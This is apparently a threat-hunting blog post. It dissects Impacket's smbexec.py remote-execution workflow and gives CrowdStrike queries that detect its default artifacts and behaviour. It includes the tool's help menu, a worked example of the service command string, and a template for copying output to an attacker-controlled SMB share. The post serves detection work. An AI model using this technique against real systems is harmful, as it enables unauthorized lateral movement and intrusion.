Unmasking Impacket with CrowdStrike: Hunting Beyond Signatures to the Apex of the Pyramid of Pain

The cybersecurity landscape is a constant cat-and-mouse game. As defenders strengthen their perimeters, adversaries adapt their tools and tactics. Among the persistent threats, Impacket stands out. According to the Red Canary 2024 Report, this powerful suite of Python classes consistently ranks among the top 10 threats, a testament to its widespread adoption by both malicious actors and ethical testers.

At its core, Impacket provides a collection of Python classes designed to interact with Windows network protocols. These classes form the backbone of various tools, enabling command execution over Server Message Block (SMB) and Windows Management Instrumentation (WMI). Often, security professionals and adversaries directly utilize popular scripts like smbexec.py, wmiexec.py, or dcomexec.py without necessarily downloading the entire Impacket suite, thanks to their versatility and ease of implementation.

Today, we’re going to pull back the curtain on one of Impacket’s most frequently used components: [smbexec.py](https://github.com/fortra/impacket/blob/master/examples/smbexec.py). We'll explore its technical workflow, dissect its default Indicators of Compromise (IOCs), and, most importantly, demonstrate how CrowdStrike can be leveraged to hunt for its activity, even when adversaries attempt to mask their tracks by targeting the top of the Pyramid of Pain.

smbexec.py: Your Semi-Interactive Shell Over SMB

smbexec.py is a powerful script within the Impacket suite that facilitates remote code execution through a semi-interactive shell. Its genius lies in its ability to execute commands by creating temporary Windows services on the target, without dropping persistent binary files on the disk. This makes it a formidable tool for lateral movement and privilege escalation in Windows environments.

Let’s take a quick look at its help menu:

┌──(root㉿kali)-[/home/kali]
└─# impacket-smbexec -h                                                                                                                                              
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

usage: smbexec.py [-h] [-share SHARE] [-mode {SHARE,SERVER}] [-ts] [-debug] [-codec CODEC] [-shell-type {cmd,powershell}] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [-service-name service_name]
                  [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB]
                  target

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

options:
  -h, --help            show this help message and exit
  -share SHARE          share where the output will be grabbed from (default C$)
  -mode {SHARE,SERVER}  mode to use (default SHARE, SERVER needs root!)
  -ts                   adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
                        and then execute smbexec.py again with -codec and the corresponding codec
  -shell-type {cmd,powershell}
                        choose a command processor for the semi-interactive shell

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server
  -service-name service_name
                        The name of theservice used to trigger the payload

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

smbexec.py Technical Workflow: A Detailed Breakdown

The smbexec.py script employs a sophisticated, multi-stage process leveraging standard Windows protocols to achieve remote command execution and output retrieval. Understanding this workflow is key to effective detection.

1. Initialization and Argument Parsing

• The script begins by parsing user input, including credentials, target details, SMB share preferences, and the desired shell type (cmd or powershell).
• It supports various authentication methods: plaintext, NTLM hashes (for pass-the-hash), and Kerberos.

2. Establishing SMB and DCE/RPC Connections

• An SMB connection is initiated to the target’s \\pipe\\svcctl named pipe, the standard endpoint for the Service Control Manager Remote Protocol (SCMR).
• Over this SMB transport, smbexec.py performs a DCE/RPC bind to the SCMR interface, enabling interaction with the target's Service Control Manager (responsible for creating, starting, and deleting services).
• A separate SMB connection is also established for file transfer operations, specifically for reading command output and file cleanup.

3. Setting Up Output Retrieval Mechanism

• SHARE Mode (Default): The script relies on an existing writable SMB share (typically administrative shares like C$). Command outputs are redirected to a uniquely named file (__output) within this share, which the script then reads.
• SERVER Mode: If a suitable share isn’t available, or direct output is preferred, the script spawns a local SMB server on the attacking machine (requires root privileges). The target then copies the output file back to this attacker-controlled SMB server.

4. Command Execution Workflow

This is where the magic happens:

• Command Payload Preparation: The user’s command is prepared:
• If powershell is the selected shell_type, the command is prepended with $ProgressPreference="SilentlyContinue"; and then Base64-encoded. This encoded string is then prefixed with powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc to ensure silent, non-interactive execution with bypassed execution policy.
• If cmd is the selected shell_type, the command remains largely as-is but is embedded within a cmd.exe execution string.
• Temporary Batch File Creation: A unique, randomly generated 8-character batch file (e.g., zXcYvBnM.bat) is constructed and placed in the target's %SYSTEMROOT% directory (e.g., C:\Windows\zXcYvBnM.bat).
• **lpBinaryPathName Construction (The Core Payload): This is the most ingenious part. The final command string, which serves as the lpBinaryPathName for the temporary service, is meticulously crafted. It’s a complex sequence of cmd.exe commands separated by & that performs the following: 1- echo <prepared_command> ^> <output_file_path> 2^>^&1 > <batch_file_path>: This echoes the actual command and its output redirection into the temporary batch file. 2- & <shell> <batch_file_path>: Immediately executes the newly created batch file using the appropriate shell (e.g., %COMSPEC% /Q /c). 3- (Conditional) & copy <output_file_path> \\<attacker_ip>\TMP: If in SERVER mode, an additional copy command pushes the output file to the attacker's SMB server. 4-** & del <batch_file_path>: Finally, deletes the temporary batch file for artifact reduction.
• Service Creation: The scmr.hRCreateServiceW function is invoked to create a new service on the target. The service is named after the randomly generated self.__serviceName, and its lpBinaryPathName is set to the entire complex command string constructed in the previous step. The dwStartType is set to SERVICE_DEMAND_START, meaning it needs to be explicitly started.
• Service Execution and Cleanup: 1- The scmr.hRStartServiceW function is called to initiate the temporary service. This causes Windows to execute the lpBinaryPathName as the service's "executable." 2- Crucially, immediately after starting, scmr.hRDeleteService is called to delete the service entry from the SCM database. This is vital because the service is designed for single-shot execution and will be killed by Windows if it doesn't behave like a long-running service. 3- The service handle is then closed with scmr.hRCloseServiceHandle.

5. Retrieving Command Output

• SHARE Mode: After the command has executed (and its output written to the __output file on the target's share), the script uses its existing SMB connection to directly read the content of __output from the specified remote share. Once read, the __output file is deleted from the target share to minimize traces.
• SERVER Mode: In this scenario, the copy command embedded in the lpBinaryPathName would have already pushed the __output file to the attacker's local SMB server's __tmp directory. The get_output function then simply opens this local file, reads its content, and subsequently deletes the local __output file.

6. Output Display

The collected output is decoded and printed to the attacker’s console.

This intricate dance of SMB, DCE/RPC, temporary service creation, and clever command string manipulation allows smbexec.py to achieve its "semi-interactive" shell functionality.

Example Trace

Let’s trace an example. Imagine a user types dir C:\Users:

1. User Input: dir C:\Users (assuming cmd shell and SHARE mode).
2. **batchFile Generation**: A temporary batch file name like C:\Windows\zXcYvBnM.bat is generated on the target.
3. **self.__output Value**: The output will be directed to \\%COMPUTERNAME%\C$\__output (i.e., C:\__output on the target).
4. **command String Construction (the lpBinaryPathName)**:

The command variable will be crafted as:

%COMSPEC% /Q /c echo dir C:\Users ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > C:\Windows\zXcYvBnM.bat & %COMSPEC% /Q /c C:\Windows\zXcYvBnM.bat & del C:\Windows\zXcYvBnM.bat

This sequence, interpreted by cmd.exe on the target, does the following:

• The first part creates the batch file containing the actual command
• The & then executes the batch file
• Finally, it cleans up the temporary batch file

5. Service Creation and Execution: A new service (e.g., AbCdEfGh) is created with the above long command string as its lpBinaryPathName.

6. Cleanup and Output Retrieval: The service is immediately deleted, and the output is retrieved and displayed.

Default Hardcoded IOCs

smbexec.py, in its default configuration, leaves behind several predictable Indicators of Compromise (IOCs). These are your first line of defense in hunting.

[embed]

Hunting with CrowdStrike for the Defaults

CrowdStrike Falcon’s unparalleled visibility and powerful query language make it ideal for hunting these default IOCs.

Registry Updates

Hypothesis: An adversary using smbexec.py may execute remote commands by creating a temporary Windows service that launches a batch file via cmd.exe. This involves setting a service registry value to use %COMSPEC% to interpret the batch script.

CrowdStrike Hunting Logic:

• Filter for registry updates (#event_simpleName = AsepValueUpdate)
• Where RegType = 2 (REG_EXPAND_SZ)
• And RegStringValue matches /COMSPEC/i (case-insensitive match to COMSPEC)

event_platform = "Win" #event_simpleName = AsepValueUpdate
| RegType = 2 // REG_EXPAND_SZ  - REG_EXPAND_SZ (2) is a data type used to store expandable string values that contain environment variables (like %SystemRoot% or %USERNAME%).
| RegStringValue = /COMSPEC/i
| groupBy([@timestamp, ComputerName, ContextProcessId, RegObjectName, RegStringValue, RegType])

File Activity

Hypothesis: smbexec.py writes a temporary, randomly named .bat file (8-character filename) to the Windows directory.

CrowdStrike Hunting Logic:

• Look for file creation events (#event_simpleName = FileCreateInfo)
• Filter for .bat files with:
• An 8-character random name (\\w{8}.bat)
• Created specifically in a Windows path
• Filename length = 12 characters
• in the **SHARE** mode, the default location on the victim for the bat file is “C:\\Windows”

event_platform = "Win" #event_simpleName = FileCreateInfo
| TargetFileName = /Windows\\w{8}\.bat$/i
| length(FileName, as="FileLength") 
| test(FileLength == 12) // 8 chars + .bat = 12
| format("[Tree](<https://falcon.us-2.crowdstrike.com/graphs/process-explorer/tree?id=pid:%s:%s&investigate=true&_cid=%s> )", field=["aid","ContextProcessId","cid"], as="Tree")
| groupBy([@timestamp, ComputerName, Tree, TargetFileName, ShareAccess])

Process Execution

Hypothesis: smbexec.py spawning a cmd.exe process with a distinct command-line pattern:

/Q /c echo <command> ^> <output file> 2^>^&1

CrowdStrike Hunting Logic:

• Filter for process execution events(#event_simpleName=ProcessRollup2)
• Match command lines with the above pattern

#event_simpleName = ProcessRollup2
| CommandLine = /\/Q \/c echo.+\^>.+2\^>\^&1 >/i
| format("[Tree](https://falcon.us-2.crowdstrike.com/graphs/process-explorer/tree?id=pid:%s:%s&investigate=true&_cid=%s )", field=["aid","TargetProcessId","cid"], as="Tree")
| groupBy([@timestamp, ComputerName, UserName, Tree, ParentBaseFileName, CommandLine])

Hunting Beyond Default: Reaching the Apex of the Pyramid of Pain with CrowdStrike

Now, let’s consider the scenario where an attacker modifies the smbexec.py code, changing the batch file length, output file name, and other default IOCs. Now we should move beyond traditional signatures and focus on Tactics, Techniques, and Procedures (TTPs) that are much tougher for adversaries to change.

The Pyramid of Pain, a concept coined by David Bianco, illustrates that blocking indicators like hash values or IP addresses causes minimal “pain” to an adversary, as they are easily changed. However, disrupting their TTPs forces them to invest significant time and resources to reinvent their approach.

TTP-based Hypothesis

T1059.003: Command and Scripting Interpreter: Windows Command Shell

smbexec.py initiates its execution by creating a temporary batch file (.bat or .cmd) on the target system. This file contains the commands the attacker wishes to run. This leverages the native Windows Command Shell's ability to interpret and execute batch scripts.

T1569.002: System Services: Service Execution

The core of smbexec.py's execution method involves the remote creation and execution of a new Windows service. This service is configured to run the previously created temporary batch script. By leveraging the Windows Service Control Manager, smbexec.py achieves remote code execution without direct reliance on tools like PsExec.

T1070.004: Indicator Removal: File Deletion

To minimize forensic artifacts and reduce detectability, smbexec.py is designed to delete the temporary batch script from the target system shortly after its execution. This action aims to remove evidence of the payload delivery and execution.

This behavioral pattern, regardless of minor IOC changes, remains consistent.

CrowdStrike Hunting Logic:

• Focus on batch files creation containing the “>” character (#event_simpleName = ScriptFileWrittenInfo)

• Correlate with file deletion events for the same script (#event_simpleName = FileDeleteInfo)

• Link to process execution where services.exe created and deleted the batch file (#event_simpleName = /ProcessRollup/i)

• Filter cases where batch file creation and deletion occur within 1 minute (test(diff < duration("1m")))

ComputerName = DC02 #event_simpleName = /ProcessRollup/i
| rename(field="TargetProcessId", as="WritingProcessId")
| rename(field="ParentBaseFileName", as="WritingProcessName")
| join(query={ #event_simpleName = FileDeleteInfo | rename(field="ContextProcessId", as="WritingProcessId") | FileDeleteTime := @timestamp
    | join(
        query={ComputerName = DC02 | #event_simpleName = ScriptFileWrittenInfo | ScriptContent = />/i | ScriptFileWriteTime := @timestamp}, 
        field=[FileName],
        include=[ScriptFileWriteTime, #event_simpleName, ScriptContent, TargetFileName, FileFormatString]
    )
}, 

field=[WritingProcessId],
include = [ScriptFileWriteTime, FileDeleteTime, #event_simpleName, ScriptContent, TargetFileName, FileFormatString, FileName]
)
| diff := ScriptFileWriteTime - FileDeleteTime
| test(diff < duration("1m"))
| groupBy([@timestamp, ComputerName, UserName, diff, WritingProcessName, TargetFileName, ScriptContent, FileName, CommandLine])This advanced hunting query targets the inherent behavior of smbexec.py – the transient nature of its temporary script execution and cleanup via a service process. By correlating events within a tight timeframe, we are effectively hunting at the TTP layer, making it significantly harder for attackers to evade detection simply by altering hardcoded strings.

Conclusion

Impacket’s smbexec.py remains a formidable tool for both red and blue teams. While default configurations produce clear Indicators of Compromise, advanced adversaries often customize their tools to evade detection. By understanding the underlying technical workflows and focusing on Tactics, Techniques, and Procedures (TTPs), we can elevate our detection to the apex of the Pyramid of Pain. Leveraging deep visibility and flexible query capabilities enables more resilient defenses, helping us stay ahead in the ongoing cat-and-mouse game against sophisticated threats. Continually evolving hunting strategies is essential to unmask even the most evasive attacks.